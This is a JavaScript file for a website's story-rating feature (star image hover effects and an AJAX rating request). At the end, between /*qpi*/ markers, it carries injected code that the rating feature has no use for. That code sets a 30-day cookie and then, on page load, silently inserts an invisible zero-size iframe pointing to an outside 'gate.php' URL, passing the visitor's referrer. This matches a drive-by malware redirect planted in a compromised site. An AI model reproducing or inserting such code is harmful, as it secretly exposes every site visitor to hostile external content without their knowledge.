var Star1;
var Star2;
var Star3;
var Star4;

function StarsMouseOver(i)
{
	Star1 = document.getElementById('star1').src;
	Star2 = document.getElementById('star2').src;
	Star3 = document.getElementById('star3').src;
	Star4 = document.getElementById('star4').src;
	Star5 = document.getElementById('star5').src;
		
	for (n = 0; n < i; n++)
	{
		document.getElementById('star' + (n+1)).src = "images/star_full.gif";
	}
		
	var remaining = 5 - i;
		
	if (remaining != 0)
	{
		for (n = 0; n < remaining; n++)
		{
			document.getElementById('star' + (n+(i+1))).src = "images/star_none.gif";
		}
	}
}

function StarsMouseOut()
{
	document.getElementById('star1').src = Star1;
	document.getElementById('star2').src = Star2;
	document.getElementById('star3').src = Star3;
	document.getElementById('star4').src = Star4;
	document.getElementById('star5').src = Star5;
}

function RateStory(StoryID, Rating, UserID)
{
	if (UserID == 1)
	{
		alert('You must be logged in to rate the stories');
	} else {
		
		var xmlhttp = CreateAjaxComponent();
			
		//xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		xmlhttp.open("GET","rate.php?s=" + StoryID + "&r=" + Rating + "&u=" + UserID,true);
			
		xmlhttp.onreadystatechange=function() {
			if (xmlhttp.readyState==4) {
				alert(xmlhttp.responseText);
				window.location.reload();
			}
		}
		
			
		xmlhttp.send(null);
	}
}
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://josefina.in/gate.php?f=849214&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
